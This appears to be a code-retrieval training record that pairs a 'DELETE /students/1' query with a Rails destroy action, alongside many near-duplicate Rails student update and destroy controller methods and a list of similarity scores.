"def update\n @student = User::Student.find(params[:id])\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to user_student_path(@user, @student), notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: user_student_path(@user, @student) }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n begin\n student = Student.find(params[:id])\n student.update_attributes!(student_params)\n\n render json: {status: 'SUCCESS', message:\"Student updated Successfully with name #{student.name}\", data:student}, status: :ok\n rescue => error\n render json: {status: 'ERROR', message:'Student Update failed!', data:error}, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to students_url, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @people_student.update(people_student_params)\n format.html { redirect_to @people_student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @people_student }\n else\n format.html { render :edit }\n format.json { render json: @people_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @student1 = Student1.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @student1.update_attributes(params[:student1])\r\n format.html { redirect_to @student1, notice: 'Student1 was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @student1.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student,\n notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors,\n status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to lop_students_url, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: \"Student was successfully updated.\" }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: \"Student was successfully updated.\" }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: \"Student was successfully updated.\" }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student_major = StudentMajor.find(params[:id])\n\n respond_to do |format|\n if @student_major.update_attributes(student_major_params)\n format.html { redirect_to @student_major, notice: 'Student major was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student_major.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = current_user.teacher.students.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n StdTeacher.where(\"idStd = ? AND idTeacher = ?\", @student.id, current_user.teacher.id).update_all(idGroup: @student.idGroup)\n format.html { redirect_to students_path, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to admin_student_path(@student), notice: 'student was successfully updated.' }\n format.json { render action: 'show', status: :updated, location: @student }\n #format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @student.update(student_params)\n render :show, status: :ok, location: @student\n else\n render json: @student.errors, status: :unprocessable_entity\n end\n end",
"def update\n @student_user = StudentUser.find(params[:id])\n\n respond_to do |format|\n if @student_user.update_attributes(params[:student_user])\n format.html { redirect_to @student_user, notice: 'Student user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student_entity.update(student_entity_params)\n format.json { render :show, status: :ok, location: @student_entity }\n else\n format.json { render json: @student_entity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n student = Student.find(params[:id])\n if student.update(student_params)\n render json: { status: '200', message: \"Updated Student with id #{params[:id]}\", data: student }, status: :ok\n else\n render json: { status: '422', error: 'Student not updated', data: student.errors }, status: :unprocessable_entity\n end\n rescue ActiveRecord::RecordNotFound\n render json: { status: '404', error: \"No Student with id #{params[:id]}\", data: student }, status: :not_found\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: params[:student]}#'Debug: #{params[:student]} Student was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n @student.update_attributes(params[:student])\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to [:admin, @student], notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @admin.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Estudiante ha sido satisfactoriamente actualizado.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student_interest.update(student_interest_params)\n format.html { redirect_to @student_interest, notice: 'Student interest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @student_interest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = current_user.students.find(params[:id])\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:notice] = 'Student record is successfully updated.'\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to login_index_path, notice: 'Elev adus la zi.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @dojo_student = DojoStudent.find(params[:id])\n\n respond_to do |format|\n if @dojo_student.update_attributes(params[:dojo_student])\n format.html { redirect_to @dojo_student, notice: 'Dojo student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dojo_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:success] = t('student.updated')\n format.html { redirect_to(students_path) }\n format.xml { head :ok }\n else\n flash[:error] = t('default_error_message')\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student_test = StudentTest.find(params[:id])\n\n respond_to do |format|\n if @student_test.update_attributes(params[:student_test])\n format.html { redirect_to @student_test, notice: 'Student test was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to admissions_url, success: 'Student record was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to manage_school_school_path(@school), notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(admin_student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to school_student_path(@student.school,@student), notice: 'Student update successful.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student]) and\n @student.usuario.update_attributes(params[:student][:usuario_attributes])\n format.html { redirect_to [:admin, @student], notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to(@student, :notice => 'Student was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Студент був успішно оновлений.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: '学生资料更新成功.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @studentset = Studentset.find(params[:id])\n\n respond_to do |format|\n if @studentset.update_attributes(params[:studentset])\n format.html { redirect_to @studentset, notice: 'Studentset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @studentset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'El estudiante fue actualizado.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_student.update(admin_student_params)\n format.html { redirect_to @admin_student, notice: \"Student was successfully updated.\" }\n format.json { render :show, status: :ok, location: @admin_student }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @admin_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:student_id])\n @inschool = @student.inschools.find(params[:id])\n\n respond_to do |format|\n if @inschool.update_attributes(params[:inschool])\n format.html { redirect_to :back, notice: 'Inschool was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inschool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @studentgrade = Studentgrade.find(params[:id])\n\n respond_to do |format|\n if @studentgrade.update_attributes(params[:studentgrade])\n format.html { redirect_to @studentgrade, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @studentgrade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n if (@student.family_id && @student.family_id > 0)\n @family = Family.find(@student.family_id)\n end\n\n @resound_process = ResoundProcess.find_by_student_id(@student.id)\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n\n if @student.update_attributes(params[:student])\n format.html {render :action=>\"show\"}#redirect_to(\"/students/#{@student.id}\")\n else \n format.html { render :action =>\"edit\"}\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n\n end\n\n end",
"def update\n respond_to do |format|\n if @student_id.update(student_id_params)\n if @enrolment\n format.html { redirect_to enrolment_student_ids_path(@enrolment), notice: 'Student was successfully updated.' }\n else\n format.html { redirect_to @student_id, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student_id }\n end\n else\n format.html { render :edit }\n format.json { render json: @student_id.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Se actualizó el registro de alumna satisfactoriamente.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @enrolled_student = EnrolledStudent.find(params[:id])\n\n respond_to do |format|\n if @enrolled_student.update_attributes(params[:enrolled_student])\n format.html { redirect_to @enrolled_student, notice: 'Enrolled student was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @enrolled_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @exam_student.update(exam_student_params)\n format.html { redirect_to @exam_student, notice: 'Exam student was successfully updated.' }\n format.json { render :show, status: :ok, location: @exam_student }\n else\n format.html { render :edit }\n format.json { render json: @exam_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @manage_student.update(manage_student_params)\n format.html { redirect_to @manage_student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @manage_student }\n else\n format.html { render :edit }\n format.json { render json: @manage_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: \"Student was successfully updated.\" }\n else\n format.html { render :edit, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @indexstudent = Indexstudent.find(params[:id])\n\n respond_to do |format|\n if @indexstudent.update_attributes(params[:indexstudent])\n format.html { redirect_to @indexstudent, notice: 'Indexstudent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @indexstudent.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:student_id])\n @lunchdetention = @student.lunchdetentions.find(params[:id])\n\n respond_to do |format|\n if @lunchdetention.update_attributes(params[:lunchdetention])\n format.html { redirect_to :back, notice: 'lunchdetention was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lunchdetention.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:notice] = 'Student was successfully updated.'\n format.html { redirect_to(@student) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:notice] = 'Student was successfully updated.'\n format.html { redirect_to(@student) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:notice] = 'Student was successfully updated.'\n format.html { redirect_to(@student) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student_type = StudentType.find(params[:id])\n\n if @student_type.update(student_type_params)\n head :no_content\n else\n render json: @student_type.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n add_model_error_to_flash @student\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @find_student.update(find_student_params)\n format.html { redirect_to @find_student, notice: 'Find student was successfully updated.' }\n format.json { render :show, status: :ok, location: @find_student }\n else\n format.html { render :edit }\n format.json { render json: @find_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @class_student.update(class_student_params)\n format.html { redirect_to @class_student, notice: 'Class student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @class_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @team.update(team_params)\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { render :show, status: :ok, location: @team }\n else\n format.html { render :edit }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n student_ids = params[:student_ids].to_a\n student_ids.each_with_index do |student_id|\n student = Student.where(id: student_id.to_i).first\n @team.students << student\n end\n end",
"def update\n\tif session[:user].nil?\n\t\tredirect_to('/login/login')\n\tend\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to(@student, :notice => 'Student was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student]) &&\n @student.user.update_attributes({:role_pending => params[:role_pending]})\n\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n @student.parent.update(parent_params.merge(address: params[:student][\"address\"].as_json))\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @studentinfo.update(studentinfo_params)\n format.html { redirect_to @studentinfo, notice: 'Studentinfo was successfully updated.' }\n format.json { render :show, status: :ok, location: @studentinfo }\n else\n format.html { render :edit }\n format.json { render json: @studentinfo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @studenttest.update(studenttest_params)\n format.html { redirect_to @studenttest, notice: 'Studenttest was successfully updated.' }\n format.json { render :show, status: :ok, location: @studenttest }\n else\n format.html { render :edit }\n format.json { render json: @studenttest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t#for each student, find the student using student id\n\t\t@student = Student.find(params[:id])\n\t\t#update the student using the student params\n\t\t@student.update(student_params)\n\t\t#go back to the student path when done\n\t\tredirect_to student_path(@student)\n\t#wraps up \"update\" action\n\tend",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html {\n flash[:success] = 'Perfil atualizado'\n redirect_to @student\n }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @online_student = OnlineStudent.find(params[:id])\n\n respond_to do |format|\n if @online_student.update_attributes(params[:online_student])\n format.html { redirect_to @online_student, notice: 'Online student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @online_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_student = JobStudent.find(params[:id])\n\n respond_to do |format|\n if @job_student.update_attributes(params[:job_student])\n format.html { redirect_to(@job_student, :notice => 'JobStudent was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job_student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to active_students_url, notice: 'Student was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end"
] |
[
"0.7182317",
"0.7118746",
"0.7112766",
"0.70681185",
"0.70681185",
"0.7049016",
"0.7049016",
"0.7049016",
"0.7049016",
"0.7049016",
"0.70481044",
"0.69805574",
"0.69361293",
"0.69361293",
"0.69361293",
"0.688415",
"0.6873322",
"0.68329144",
"0.68329144",
"0.68329144",
"0.68329144",
"0.68329144",
"0.68329144",
"0.68329144",
"0.68329144",
"0.68329144",
"0.68329144",
"0.68329144",
"0.68329144",
"0.68329144",
"0.68329144",
"0.68329144",
"0.68329144",
"0.68329144",
"0.6829824",
"0.6811597",
"0.6807363",
"0.6793601",
"0.6785605",
"0.6785605",
"0.6785605",
"0.6755493",
"0.67393166",
"0.6729107",
"0.6716392",
"0.67040783",
"0.6685746",
"0.6681411",
"0.66658914",
"0.66636777",
"0.66636777",
"0.666045",
"0.66577464",
"0.66573167",
"0.66414005",
"0.663501",
"0.66120213",
"0.66023076",
"0.6598743",
"0.65905017",
"0.6589352",
"0.65869063",
"0.65762854",
"0.65708727",
"0.6566842",
"0.6552015",
"0.6543562",
"0.6526485",
"0.6508118",
"0.65059423",
"0.6494915",
"0.648746",
"0.6485135",
"0.6477383",
"0.64725274",
"0.6468272",
"0.6467802",
"0.64661777",
"0.64608216",
"0.6451995",
"0.64398897",
"0.643792",
"0.64322335",
"0.64309245",
"0.64309245",
"0.64309245",
"0.6414334",
"0.6404975",
"0.6388214",
"0.63796574",
"0.63629264",
"0.6349027",
"0.63439715",
"0.6343419",
"0.63338673",
"0.6324148",
"0.630007",
"0.62962687",
"0.628702",
"0.62827146",
"0.62689155"
] |
0.0
|
-1
|
DELETE /students/1 DELETE /students/1.json
|
def destroy
Student.delete(params[:id])
respond_to do |format|
format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @student.delete\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :ok }\n end\n end",
"def destroy\n # @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
